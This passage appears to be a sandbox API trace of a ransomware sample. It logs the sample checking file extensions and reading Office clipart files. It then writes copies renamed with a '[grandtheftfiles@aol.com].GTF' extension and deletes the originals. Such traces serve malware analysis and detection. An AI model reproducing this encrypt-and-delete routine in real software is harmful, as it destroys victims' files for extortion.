	[0085.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.718] lstrlenW (lpString=".zip") returned 4
	[0085.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.718] lstrlenW (lpString=".rar") returned 4
	[0085.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.718] lstrlenW (lpString=".bz2") returned 4
	[0085.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.718] lstrlenW (lpString=".7z") returned 3
	[0085.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.718] lstrlenW (lpString=".dbf") returned 4
	[0085.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.718] lstrlenW (lpString=".1cd") returned 4
	[0085.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68
	[0085.718] lstrlenW (lpString=".jpg") returned 4
	[0085.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.718] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.718] lstrlenW (lpString="DD01140_.WMF") returned 12
	[0085.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.719] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3616) returned 1
	[0085.719] CloseHandle (hObject=0x368) returned 1
	[0085.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220
	[0085.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.719] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.719] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.720] GetLastError () returned 0x0
	[0085.720] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xe20, lpOverlapped=0x0) returned 1
	[0085.721] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe30, lpOverlapped=0x0) returned 1
	[0085.722] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.722] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.722] SetEndOfFile (hFile=0x380) returned 1
	[0085.722] CloseHandle (hObject=0x380) returned 1
	[0085.723] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.723] SetEndOfFile (hFile=0x368) returned 1
	[0085.724] CloseHandle (hObject=0x368) returned 1
	[0085.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1
	[0085.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.724] lstrlenW (lpString=".doc") returned 4
	[0085.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.724] lstrlenW (lpString=".docx") returned 5
	[0085.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.724] lstrlenW (lpString=".pdf") returned 4
	[0085.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.724] lstrlenW (lpString=".xls") returned 4
	[0085.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.724] lstrlenW (lpString=".xlsx") returned 5
	[0085.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.724] lstrlenW (lpString=".ppt") returned 4
	[0085.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.725] lstrlenW (lpString=".zip") returned 4
	[0085.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.725] lstrlenW (lpString=".rar") returned 4
	[0085.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString=".bz2") returned 4
	[0085.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString=".7z") returned 3
	[0085.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.725] lstrlenW (lpString=".dbf") returned 4
	[0085.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.725] lstrlenW (lpString=".1cd") returned 4
	[0085.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.725] lstrlenW (lpString=".jpg") returned 4
	[0085.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.725] lstrlenW (lpString=".doc") returned 4
	[0085.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString=".docx") returned 5
	[0085.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.725] lstrlenW (lpString=".pdf") returned 4
	[0085.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString=".xls") returned 4
	[0085.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.725] lstrlenW (lpString=".xlsx") returned 5
	[0085.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.725] lstrlenW (lpString=".ppt") returned 4
	[0085.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.725] lstrlenW (lpString=".zip") returned 4
	[0085.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.725] lstrlenW (lpString=".rar") returned 4
	[0085.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.726] lstrlenW (lpString=".bz2") returned 4
	[0085.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.726] lstrlenW (lpString=".7z") returned 3
	[0085.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.726] lstrlenW (lpString=".dbf") returned 4
	[0085.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.726] lstrlenW (lpString=".1cd") returned 4
	[0085.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68
	[0085.726] lstrlenW (lpString=".jpg") returned 4
	[0085.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.726] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.726] lstrlenW (lpString="DD01143_.WMF") returned 12
	[0085.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.726] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2140) returned 1
	[0085.726] CloseHandle (hObject=0x368) returned 1
	[0085.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220
	[0085.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.727] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.727] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0085.727] GetLastError () returned 0x0
	[0085.727] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x85c, lpOverlapped=0x0) returned 1
	[0086.197] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x860, lpOverlapped=0x0) returned 1
	[0086.228] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.228] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.228] SetEndOfFile (hFile=0x380) returned 1
	[0086.228] CloseHandle (hObject=0x380) returned 1
	[0086.228] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.228] SetEndOfFile (hFile=0x368) returned 1
	[0086.229] CloseHandle (hObject=0x368) returned 1
	[0086.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1
	[0086.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.229] lstrlenW (lpString=".doc") returned 4
	[0086.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.229] lstrlenW (lpString=".docx") returned 5
	[0086.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.229] lstrlenW (lpString=".pdf") returned 4
	[0086.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.229] lstrlenW (lpString=".xls") returned 4
	[0086.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.229] lstrlenW (lpString=".xlsx") returned 5
	[0086.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.229] lstrlenW (lpString=".ppt") returned 4
	[0086.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.230] lstrlenW (lpString=".zip") returned 4
	[0086.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.230] lstrlenW (lpString=".rar") returned 4
	[0086.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString=".bz2") returned 4
	[0086.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString=".7z") returned 3
	[0086.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.230] lstrlenW (lpString=".dbf") returned 4
	[0086.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.230] lstrlenW (lpString=".1cd") returned 4
	[0086.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.230] lstrlenW (lpString=".jpg") returned 4
	[0086.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.230] lstrlenW (lpString=".doc") returned 4
	[0086.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString=".docx") returned 5
	[0086.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.230] lstrlenW (lpString=".pdf") returned 4
	[0086.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString=".xls") returned 4
	[0086.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.230] lstrlenW (lpString=".xlsx") returned 5
	[0086.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.230] lstrlenW (lpString=".ppt") returned 4
	[0086.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.231] lstrlenW (lpString=".zip") returned 4
	[0086.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.231] lstrlenW (lpString=".rar") returned 4
	[0086.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.231] lstrlenW (lpString=".bz2") returned 4
	[0086.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.231] lstrlenW (lpString=".7z") returned 3
	[0086.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.231] lstrlenW (lpString=".dbf") returned 4
	[0086.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.231] lstrlenW (lpString=".1cd") returned 4
	[0086.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0086.231] lstrlenW (lpString=".jpg") returned 4
	[0086.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.231] lstrlenW (lpString="DD01172_.WMF") returned 12
	[0086.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.231] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2232) returned 1
	[0086.231] CloseHandle (hObject=0x368) returned 1
	[0086.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220
	[0086.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.232] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.232] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.232] GetLastError () returned 0x0
	[0086.232] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0086.234] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0086.235] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.235] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.235] SetEndOfFile (hFile=0x380) returned 1
	[0086.235] CloseHandle (hObject=0x380) returned 1
	[0086.235] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.235] SetEndOfFile (hFile=0x368) returned 1
	[0086.236] CloseHandle (hObject=0x368) returned 1
	[0086.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.237] lstrlenW (lpString=".doc") returned 4
	[0086.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.237] lstrlenW (lpString=".docx") returned 5
	[0086.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.237] lstrlenW (lpString=".pdf") returned 4
	[0086.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.237] lstrlenW (lpString=".xls") returned 4
	[0086.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.237] lstrlenW (lpString=".xlsx") returned 5
	[0086.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.237] lstrlenW (lpString=".ppt") returned 4
	[0086.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.237] lstrlenW (lpString=".zip") returned 4
	[0086.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.237] lstrlenW (lpString=".rar") returned 4
	[0086.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.237] lstrlenW (lpString=".bz2") returned 4
	[0086.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.237] lstrlenW (lpString=".7z") returned 3
	[0086.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.237] lstrlenW (lpString=".dbf") returned 4
	[0086.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.237] lstrlenW (lpString=".1cd") returned 4
	[0086.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.237] lstrlenW (lpString=".jpg") returned 4
	[0086.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.238] lstrlenW (lpString=".doc") returned 4
	[0086.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString=".docx") returned 5
	[0086.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.238] lstrlenW (lpString=".pdf") returned 4
	[0086.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString=".xls") returned 4
	[0086.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.238] lstrlenW (lpString=".xlsx") returned 5
	[0086.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
